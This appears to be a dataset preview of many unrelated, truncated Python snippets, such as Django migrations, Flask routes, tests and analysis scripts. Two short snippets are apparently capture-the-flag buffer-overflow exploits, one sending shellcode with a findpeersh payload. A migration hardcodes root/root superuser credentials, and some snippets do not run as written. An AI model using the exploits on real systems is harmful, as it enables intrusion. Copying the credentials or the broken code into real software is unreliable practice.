text
stringlengths
8
6.05M
import tests.test_common as test_common import tests.test_user as test_user import tests.test_admin as test_admin import tests.test_birthdays as test_birthdays import unittest if __name__ == '__main__': suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(test_common.TestsCommonMethods)) suite.ad...
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-03-03 02:45 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('home', '0007_auto_20170302_1331'), ] operations = [ migrations.AlterField( ...
''' 타이타닉 1. 생존자와 사망자에 대한 갯수를 구하시오 2. 등급별(pclass) 평균 생존률을 구하시오 ( 등급과 생존율에 대한 pariplot을 그리시오 ) 3. SibSp(가족과탑승) 의 평균 생존율을 구하시오 4. 혼자탑승(alone)한 인원의 평균 생존율을 구하시오 5. 성별 평균 생존율을 구하시오 6. 나이분류 컬럼을 추가하여 아래와 같이 출력하시오 1~15(미성년자), 15~25(청년), 25~35(중년), 35~60(장년), 60~(노년) 으로 표시하시요. ================= 나이 나이분류 20 청년 ...
#Program to implement Stack #creating a class Stack class Stack: #size(int) : for size of the stack def __init__(self,size): self.size = size self.top = -1 #initial value of top also means that the stack is empty self.st = [' ']*size #creating a list of SIZE : size with value ' ' ...
# Copyright (c) 2018 Amdocs # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing...
from django.apps import AppConfig class KrwapiConfig(AppConfig): name = 'krwapi'
import os import cv2 from PIL import Image def pil_loader(path): # open path as file to avoid ResourceWarning # (https://github.com/python-pillow/Pillow/issues/835) with open(path, 'rb') as f: with Image.open(f) as img: return img.convert('RGB') class VideoDatasetAdapter(object): ...
a = 1 def hello world(): print("hello world") b = 2 c = 3 num = 100
from config import DATABASE from flask import Flask,escape,request,redirect,url_for,render_template,Blueprint import pymysql from config import * member = Blueprint('member',__name__) con = pymysql.connect(HOST,USER,PASS,DATABASE) @member.route('/showmember') def Showmember(): with con: cur = con.cursor...
import numpy as np import matplotlib.pyplot as plt import networkx as nx from rrt_star import RRT_star start = np.array([0, 0, 0]) end = np.array([1, 1, 1]) bounds = np.array([[-1, -1, -1], [2, 2, 2]]) obstacles = np.array([[.5, .5, .5, .5]]) alg = RRT_star(start, end, bounds, obstacles) alg.run(5000) alg.visualize(en...
# Generated by Django 3.0.3 on 2020-04-29 01:50 from django.db import migrations from django.contrib.auth.models import User from issues.models import Employee def create_superuser(apps, schema_editor): user = User.objects.create_superuser( username='root', password='root', email='root@gmail.com') e...
# Giang Ly # CS464 Project # Client.py import socket def Main(): """Takes user input from client after connecting to specific IP and port. Returns the message in all CAPS. """ ## Determine the host host = input("Name of server:") ## Determine the port number ...
# Generated by Django 3.1.7 on 2021-03-23 21:24 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('mpesa_api', '0003_auto_20210312_2038'), ] operations = [ migrations.CreateModel( name='C2BPayment', fields=[ ...
from headline_generator.predict import Predict_model2 model = Predict_model2()
################################################################### # # CSSE1001 - Assignment 1 # # Student Number: 43034002 # # Student Name: Jiefeng Hou (Nick) # ################################################################### def interact(): get_marks_from_file('marks.csv') """Get marks m...
import sys def fibonacii(n): a, b, count= 0, 1, 0 while True: if (count > n): return yield a a, b = b, a+b count += 1 f = fibonacii(10) while True: try: print(next(f), end=' ') except StopAsyncIteration: sys.exit()
# -*- coding: utf-8 -*- """ Created on Wed Sep 20 16:06:35 2017 @author: Diabetes.co.uk """ #this files allow you to update the sampledatabase with new questions and answers, #the new entries need to be stores in a csv file named 'NewQuestionsWithAnswersAndClassCSV.csv' with in CSVfiles import pandas as pd import nl...
#--*-- coding:utf -8 --*-- import time class Foo(object): def __init__(self,var): super(Foo,self).__init__() self._var=var @property def var(self): return self._var @var.setter def var(self,var): self._var=var def deco(func): def wrapper(): startT...
# -*- coding: utf-8 -*- """ Created on Fri Oct 5 20:01:41 2018 @author: Octavio Ordaz y Amanda Velasco """ #---------------------Librerias-------------------------------------# #Libreria para leer desde archivos csv import pandas as pd #Libreria para trabajar con documentos JSON import json #Libreria que ocupamos par...
import time import json import os from functools import partial from selenium import webdriver from selenium.webdriver.chrome.options import Options as ChromeOptions from selenium.webdriver.firefox.options import Options as FirefoxOptions from selenium.common.exceptions import NoSuchElementException, TimeoutException,...
import argparse from da_manager import DaData from data_manager import dataman_factory from plotter import Plotter from plotter import ATTR class Runner(object): def __init__(self, args): self._dataset = args.dataset self._method = args.method self._daman = DaData() self._datam...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations from django.conf import settings class Migration(migrations.Migration): replaces = [(b'scrub_csv', '0001_initial'), (b'scrub_csv', '0002_auto_20150414_0300'), (b'scrub_csv', '0003_auto_20150414_0301'), (b'sc...
# Generated by Django 3.1.5 on 2021-02-15 13:26 import datetime from django.db import migrations, models from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('blog', '0004_auto_20210211_1747'), ] operations = [ migrations.AlterField( ...
from category import Category class Expense(Category): def __init__(self, amount, name, date): super().__init__(amount, name, date) self.type = 'Expense' def __str__(self): return '{} - {}'.format(super().__str__(), self.type) def __repr__(self): return '{} - {}'.format(su...
class Thing(object): def __init__(self, health, damage): self.health = health self.damage = damage def accept(self, _): self.health -= self.damage class Marine(Thing): def __init__(self): super(Marine, self).__init__(100, 21) class Marauder(Thing): def __init__(self)...
# 存放模型, from exts import db from datetime import datetime class User(db.Model): __tablenme__ = 'user' id = db.Column(db.Integer, primary_key=True, autoincrement=True) telephone = db.Column(db.String(11), nullable=False) username = db.Column(db.String(50), nullable=False) password = db.Column(db.St...
#!/usr/bin/env python import socket import sys import ssl import time from HTMLParser import HTMLParser from htmlentitydefs import name2codepoint urlText = [] attributes_url = [] Main_url_list = [] class MyHTMLParser(HTMLParser): #def handle_starttag(self, tag, attrs): #print "Start tag:", tag ...
#!/usr/bin/env python3 import pwn pwn.context(arch = "i386", os = "linux") PAYLOAD = pwn.flat('A' * (44+4+4), 0xcafebabe, '\n') r = pwn.remote("pwnable.kr", 9000) r.send(PAYLOAD) r.interactive()
#!/usr/bin/python3 """ saves all hot posts """ import requests def recurse(subreddit, hot_list=[]): rURL = "https://www.reddit.com/r/{}/hot.json".format(subreddit) h = {"User-Agent": 'any agent'} derulo = requests.get(rURL, headers=h, allow_redirects=False).json() if derulo is None: return ...
def is_palindrome(s): s = ''.join(a for a in s.lower() if a.isalpha()) return s == s[::-1]
import argparse import json from os.path import join from typing import List import numpy as np import pandas as pd from tqdm import tqdm from docqa import trainer from docqa.data_processing.document_splitter import MergeParagraphs, TopTfIdf, ShallowOpenWebRanker, FirstN from docqa.data_processing.preprocessed_corpu...
from sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import GridSearchCV from xgboost import XGBClassifier from sklearn.metrics import roc_auc_score,accuracy_score class ModelFinder: """ This class shall be used to find the model with best accuracy and AUC s...
# Copyright 2020 Pulser Development Team # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
#!/usr/bin/env python # -*-encoding:UTF-8-*- from myutils.shortcuts import get_env # DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'HOST': get_env("POSTGRES_HOST", "icqbpmssoj-postgres"), 'PORT': get_env("POSTGRES_HOST", "5432"), 'NAME': get_env("POS...
import postvdm import pandas as pd import pickle as pkl import os import re import json # automation = '/brildata/vdmoutput/Automation/' automation = '/brildata/vdmoutput18/' detectors = ['PLT','BCM1FPCVD','BCM1FSI','HFET','HFOC'] for scan in os.listdir(automation+'Analysed_Data/'): if int(scan[:4])<6699:continue ...
import os import pathlib import sys import unittest sys.path.append("..") DATA_DIR = "%s/../../data/test" % pathlib.Path(__file__).parent.absolute() WORK_DIR = "/tmp/squad-tests" class TestAll(unittest.TestCase): def test_train(self): from src.squad.train import train squad_path = WORK_DIR ...
import logging import os import sys import cv2 import imutils import matplotlib.patches as patches import matplotlib.pyplot as plt import numpy as np from PIL import Image from matplotlib.path import Path from shapely.affinity import translate, scale from skimage import measure import time from configuration import Co...
#!/usr/bin/python import os, struct, socket, time, random, select from dijkstra import getBestServer def s(i): return struct.pack('>H', i) def b(i): return struct.pack('>B', i) def us(i): return struct.unpack('>H', i)[0] def ub(i): return struct.unpack('>B', i)[0] SERVERS = [] SERV_CURR = 0 # DEFAULT...
import io, os, csv, random import sys def prepareFile(filename, hdr): #Count any lines before the headers (should be skipped) f = io.open(filename) skip_lines, line = 0, f.readline() while hdr not in line and skip_lines < 100: skip_lines += 1; line = f.readline() f.close() if skip_lines ...
# --------------------------------------------------------------------------- # Created by: Ryan Spies (rspies@lynkertech.com) # Date: 6/9/2015 # UPDATED (10/14/2015): use a search cursor loop on a shapefile containing multiple basins # extract_basin_gSSURGO_data.py # Description: extract gSSURGO gridded soil data...
#!/usr/bin/env python2.7 # coding:utf-8 import sys import os import logging import json try: import tornado.ioloop import tornado.web import tornado.escape from tornado.options import define, options except ImportError: print "Notify service need tornado, please run depend.sh" sys.exit(1) R...
from flask.blueprints import Blueprint import logging from flask_login import login_required, current_user import flask from flask.globals import request from waitlist.permissions import perm_manager from waitlist.storage.database import CrestFleet, Waitlist, \ Character, WaitlistEntry, HistoryEntry, HistoryExtInv...
#!/usr/bin/env python """ This is a very KLUDGY beowulf beorun'able task which unfortunately loads a lot of modules, thus being inefficient when compared with the preferred parallel-IPython method. Called using: beorun /home/dstarr/src/TCP/Software/ingest_tools/beowulf_task_regenerate_vosource_xmls.py /home/dstarr/s...
from django.shortcuts import render from rest_framework.decorators import api_view from rest_framework.response import Response from .serializers import Todo_list_serializer from .models import Todo_list_model @api_view(['GET']) def api_overview(request): api_urls = { 'List': '/task-list/', 'Detai...
#Write a Python program that accepts a word from the user and reverse it word = input("Input a word to reverse: ") # range - start, end, step #len(word) - 1 # -1 # -1 i = len(word) - 1 while i > -1: print(word[i], end="") i = i - 1 print("\n") #word = input("Input a word to reverse: ") #for char in range(len...
h = int(raw_input().strip()) m = int(raw_input().strip()) nums = ["zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten", "eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen", "twenty", "twenty one", "twenty two", "twenty thr...
#!/usr/bin/env python # -*- coding:utf-8 -*- # Author:hua # -*- coding:utf-8 -*- from flask import Flask from blue_print.users import users_blue from blue_print.orders import orders_blue from blue_print.kmeans import kmeans_blue from blue_print.goods import goods_blue from blue_print.random_tree import random_tree_blu...
from rest_framework import serializers from question.models import Question class QuestionSerializer(serializers.ModelSerializer): class Meta: model=Question fields=("title","body","publish","update","author","score")
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'calculator.ui' # # Created by: PyQt5 UI code generator 5.15.0 # # WARNING: Any manual changes made to this file will be lost when pyuic5 is # run again. Do not edit this file unless you know what you are doing. from PyQt5 import QtCore, Q...
import random import numpy as np class MarkovBuilder: def __init__(self, value_list, order): self.value_lookup = {} self.reverse_value_lookup = value_list self.order = order # 是否是第一次调用 self.first = 1 value_num = len(value_list) # 这里记录一下训练集中各种state总的出现次数 ...
code = [] with open('data/08.txt') as f: for i, line in enumerate(f): instruction, num = line.strip().split(' ') code.append([i, instruction, num[0], int(num[1:]), False]) def read_line(line, accumulator=0): if line[4]: print(accumulator) else: line[4] = True if lin...
test_case = int(input()) while test_case: number_of_chocolate = int(input()) print((number_of_chocolate - 1)//2) test_case -= 1
from django.dispatch import receiver from vkontakte_api.signals import vkontakte_api_post_fetch from vkontakte_groups.models import Group from . models import GroupStatisticMembers @receiver(vkontakte_api_post_fetch, sender=Group) def group_statistic_create(sender, instance, **kwargs): if instance.members_count i...
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. { 'name': 'Products & Pricelists [TrendAV]', 'version': '1.0.1', 'category': 'Hidden', 'author': 'Ing. Rigoberto Martínez', 'maintainer': 'TrendAV', 'website': 'http://www.trendav.com', 'seque...
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use ...
from Classes.Client import Client from Classes.Product import Product from Classes.Service import Service def menu(): print "\ 1 - Cadastrar cliente: \n\ 2 - Cadastrar Produto: \n\ 3 - Cadastrar Servico: " opcao = input("Digite a sua opcao: ") return opcao def switch(x...
from tkinter import * from tkinter import ttk from tkinter.tix import * from tkintertable import TableCanvas, TableModel import nimodinst import niscope import warnings import matplotlib import sys import time matplotlib.use("TkAgg") from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, Navigation...
import socket from threading import Thread host = 'localhost' port = 8080 clients = {} addresses = {} sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((host, port)) def handle_clients(conn, address): name = conn.recv(1024).decode() welcome = "Welcome " + name + ". You can type #quit if you ...
# -*- coding: utf8 -*- __author__ = 'fangc' import requests import re import platform, os import cookielib import json import urllib import time import sys requests.packages.urllib3.disable_warnings() # todo:修改windows命令行下登录失败的问题,还未定位到问题原因 def get_tt(): return str(int(time.time() * 1000)) requests = requests.se...
import abc import logging import os from contextlib import contextmanager from datetime import datetime, timezone from json import JSONDecodeError from typing import List, Optional, Sequence, Union, BinaryIO import multitimer import schema import uuid0 from bson.binary import UuidRepresentation from bson.json_util imp...
from http.server import BaseHTTPRequestHandler,HTTPServer from operator import itemgetter import json, os, time PORT_NUMBER = 8013 FIELDS_INFO = { (6, 6): ((3, 3), (4, 5)), (7, 7): ((3, 3), (4, 6)), (8, 8): ((3, 3), (4, 6)), (10, 10): ((3, 3), (4, 6)), } # max count of saved result DB_SIZE ...
from flask import render_template from flask_login import login_required from . import bp @bp.route("/alarm") @login_required def alarm_idx(): return render_template("notifications/alarm.html")
#!/usr/bin/env python3 import os from tensorflow.examples.tutorials.mnist import input_data import tensorflow as tf data_dir = os.path.join(os.getenv('HOME'), 'var/data/mnist') mnist = input_data.read_data_sets(data_dir, one_hot=True) def slp(imput_size, class_number): x = tf.placeholder(tf.float32, [None, impu...
import pandas as pd import numpy as np import sklearn import sklearn.neighbors, sklearn.preprocessing, sklearn.datasets data = sklearn.datasets.load_boston() targets = data['target'] scale_data = (sklearn.preprocessing.scale(X=data['data'])) # scaling data values = np.linspace(1, 10, num=200) acc = [] for value i...
import telebot from decouple import config bot = telebot.TeleBot(config('BOT_TOKEN')) def tg_send_order(message): bot.send_message(897458587, message) bot.send_message(945903981, message) def check_new_updates(): updates = bot.get_updates() for update in updates: print(update)
#------------------------------------------------------------------------------ # Copyright 2008-2012 Istituto Nazionale di Fisica Nucleare (INFN) # # Licensed under the EUPL, Version 1.1 only (the "Licence"). # You may not use this work except in compliance with the Licence. # You may obtain a copy of the Licence at: ...
from django.db.models.query import QuerySet from django.db.models.sql.query import Query from twango.db import connections from twango.decorators import call_in_thread from twisted.internet import threads class TwistedQuery(Query): def twisted_compiler(self, using=None, connection=None): """ !!! N...
import torch import torch.nn as nn import torch.nn.functional as F import numpy as np import vggish_params as params import pdb class Vggish(nn.Module): def __init__(self): super(Vggish, self).__init__() # self.features = nn.Sequential( # nn.Conv2d(1, 64, kernel_size=3, padding=1), ...
from django import forms #from .models import Profile from .models import Education # class ProfileForm(forms.ModelForm): # # class Meta: # model = Profile # fields = ('firstName', 'lastName', 'contact') #class EducationForm(forms.ModelForm): CATEGORIES = ( ('M', 'Male'), ('F', '...
def add(num1, num2): print('Addition: %d' % (num1 + num2)) def subtract(num1, num2): print('Subtraction: %d' % (abs(num1 - num2))) def multiply(num1, num2): print('Multiplication: %d' % (num1 * num2)) def divide(num1, num2): print('Division: %d' % (num1 / num2)) add(2, 2) # 4 subtract(2, 10) # 8 mul...
# !/usr/bin/python # coding=utf-8 from flask import request,jsonify,session,render_template from flask_restful import Resource,reqparse import numpy as np import pandas as pd import math import sys import json from datetime import datetime # sys.path.insert(0, './functions') sys.path.insert(0, './module') import functi...
#!/usr/bin/env python from socket import * from time import ctime HOST = '' PORT = 8080 BUFSIZE = 1024 ADDR = (HOST, PORT) ServerSocket = socket(AF_INET, SOCK_DGRAM) ServerSocket.bind(ADDR) while True: print 'waiting for message...' data, addr = ServerSocket.recvfrom(BUFSIZE) if not data: break ...
#python script to run open pos for ap fileHandle = open('C:\\ap_weekly_04222016.sql', 'r') yourResult = fileHandle.read().replace('\n',' ').split(';') fileHandle.close() for j,k in enumerate(yourResult): yourResult[j]=k.strip() if yourResult[j]=='': del yourResult[j] def getLastQuery(theL...
from __future__ import absolute_import from __future__ import division from __future__ import print_function from utils.opts import opt from scipy import stats import numpy as np from PIL import Image # Input dimensions image_dims = (opt.im_size, opt.im_size) input_shape = image_dims + (opt.channels,) def resize(ar...
#!/usr/bin/env python2 from pwn import * context(arch = 'i386', os = 'linux') RET_OFFSET = 0x88 + 4 CALL_EAX_INSTRUCTION_LOCATION = 0x080486e6 SHELLCODE = asm(shellcraft.findpeersh()) PAYLOAD=flat(SHELLCODE, "A" * (RET_OFFSET - len(SHELLCODE)), CALL_EAX_INSTRUCTION_LOCATION) r = remote("localhost", 6655)...
import re def read(file): with open(file, "r") as f: data = f.read() return data def decode(string): return decode_hex(decode_oct(string)) def decode_hex(hex_string): return decode_pattern(hex_string, "(\\\\x[0-9a-f]{2})", 16, 2) def decode_oct(oct_string): return decode_pattern(oct_...
# -*- encoding:utf-8 -*- # __author__=='Gan' # You are given a map in form of a two-dimensional integer grid where 1 represents land and 0 represents water. # Grid cells are connected horizontally/vertically (not diagonally). The grid is completely surrounded by water, # and there is exactly one island (i.e., one or m...
from django.db import models class Tweet(models.Model): twt_id = models.BigIntegerField() username = models.CharField(max_length=50) created = models.DateTimeField(auto_now_add=True) created_at = models.TextField() adjusted_time = models.DateTimeField(null=True, blank=True) text = models.TextF...
#!/usr/bin/env python import rospy from geometry_msgs.msg import Twist class move(): def __init__(self): pub =rospy.init_node('ControlTurtleBot', anonymous=False) rospy.on_shutdown(self.shutdown) self.cmd_vel=rospy.Publisher('/turtle1/cmd_vel', Twist, queue_size=10) r = rospy.Rat...
import database_conversion as dbc import subprocess import sys, os os.system(command) dbc.download() subprocess.run(input="audio-convert.sh")
""" The Metro Bank provides various types of loans such as car loans, business loans and house loans to its account holders. Write a python program to implement the following requirements: Initialize the following variables with appropriate input values:account_number, account_balance, salary, loan_type, loan_amount_e...
#import statements from globals import friends from spy_details import Spy from termcolor import colored from spy_details import spy #FUNCTION FOR ADDING A FRIEND def add_friend(): # Using the class spy new_friend = Spy(" ", " ", 0, 0.0) while True: new_friend.name = raw_input("Please add your frien...
test_string=input() m=[ ] m=test_string.split( ) count=0 for word in m: count=count+1 print(count);
import readline from sdt.shapes.shape_factory import ShapeFactory ShapeFactory.initialize() def main(): running = True print('Hello, I am a smart robot who will help you check the type of a triangle') while running: try: a = input('Please inform a number to value A:') b ...
# -*- encoding:utf-8 -*- # __author__=='Gan' # Given a singly linked list, determine if it is a palindrome. # Follow up: # Could you do it in O(n) time and O(1) space? # Definition for singly-linked list. class ListNode(object): def __init__(self, x): self.val = x self.next = None # Solution 1:...
wt = [1, 2, 3, 3] W = 6 n = len(wt) def subsetSum(W, wt, n): t = [[0 for _ in range(W+1)] for _ in range(n+1)] for i in range(n+1): t[i][0] = 1 for i in range(1, n+1): for j in range(1, W+1): if wt[i-1] <= j: t[i][j] = t[i-1][j-wt[i-1]] + t[i-1][j] ...
''' Draw Star Assignment ''' # Part I def draw_stars(arr): for i in arr: k = 0 str = '' while k < i: str += '*' k += 1 print(str) x = draw_stars([4, 6, 1, 3, 5, 7, 25]) # Part II def draw_stars2(arr): for i in arr: k = 0 str_l = '' ...
#3n orontoi toonii tsippfriin niilber too1 = input("too1: ") too2 = input("too2: ") niilber = int(too1)+int(too2) print((niilber//100) + niilber//10%10 + niilber%10)
import util import pyutil def getRanges(count, forHistory = False): ret = [] minimum = 35 minrequired = 250 i = 3 if forHistory else 1 last = (count % minimum) end = 0 while ((i * minimum) + minrequired < count): start = ((i-1) * minimum) end = ((i) * minimum) + mi...
import numpy as np arr1 =np.array([[1., -3., 15., -466.],[1.,2.,3.,4.]]) print(arr1*arr1) print(np.square(arr1)) print(np.inner(arr1,arr1)) print(np.dot(arr1,np.transpose(arr1))) print(np.sum(arr1*arr1,axis=0)) print(np.diag(np.sum(arr1*arr1,axis=0)))
from SignalGenerationPackage.SignalController import SignalController from SignalGenerationPackage.Sinus.SinusSignal import SinusSignal from SignalGenerationPackage.Sinus.SinusObserver import SinusObserver from SignalGenerationPackage.Sinus.SinusAmplitudeCallBackOperator import SinusAmplitudeCallBackOperator from Signa...
import datetime import pika from pymongo import MongoClient from bson import json_util import json __author__ = 'sam' class PersistenceManager(object): minutes = 15 def __init__(self,mongodb_host='localhost', mongodb_port=27017, mongodb_name='foreman'): self.client = MongoClient(mongodb_host, mongo...
import tests.helper as test_helper test_helper.amend_path(__file__) import unittest import git class TestGit(unittest.TestCase): def test_config(self): import util _old_run = util.run def mock_run(*args): print args if args == ('git', 'config', '--list'): ...
def numeroDigitos(numero): if(numero < 10): return 1 else: return 1+numeroDigitos(numero/10) return 1 def invertir(numero): if(numero < 10): return numero else: return (10**(numeroDigitos(numero)-1))*(numero%10) + invertir(int(numero/10)) def palindromo...
from serversocket import ServerSocket class TCPServer: def __init__(self, read_callback, maximum_connections=5, receive_bytes=2048): self.server_socket = ServerSocket( read_callback, maximum_connections, receive_bytes ...
"""ImageCropper module; imported by ImageOperate aggregate class.""" from PIL import Image import ImageColumnCropOperators import statistics import numpy as np import pandas as pd import matplotlib.pyplot as plt pd.options.mode.chained_assignment = None class ImageCropper(object): """ Cropping function; rem...
# Name: Taidgh Murray # Student ID: 15315901 # File: sentence.py ############################################################################ sen=input("Please type a sentence here: ") amount=len(sen.split()) print("There are" ,amount, "words in this sentence") newsen=sen.replace(" ", "") letters=len(...
# Generated by Django 2.1.2 on 2019-07-28 16:03 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('career_test', '0006_auto_20190729_0002'), ] operations = [ migrations.AlterField( ...
# -*- coding: utf-8 -*- """ Created on Wed Mar 20 16:56:45 2019 @author: measPC """ import numpy as np import matplotlib.pyplot as plt import time, datetime, math import ctypes, os, csv, sys from scipy.signal import savgol_filter from IPython.display import clear_output from progressbar import * from tqdm import t...
""" Huffman Coding By: Gunvir Ranu This is a simple implementation of Huffman Coding. It's kinda efficient for Python, but is still slow. Can compress a 5 MB file in about 3 seconds. Decompression takes much longer, about 9 seconds for the same file. It reads text from a text file called `text.txt`. Then ca...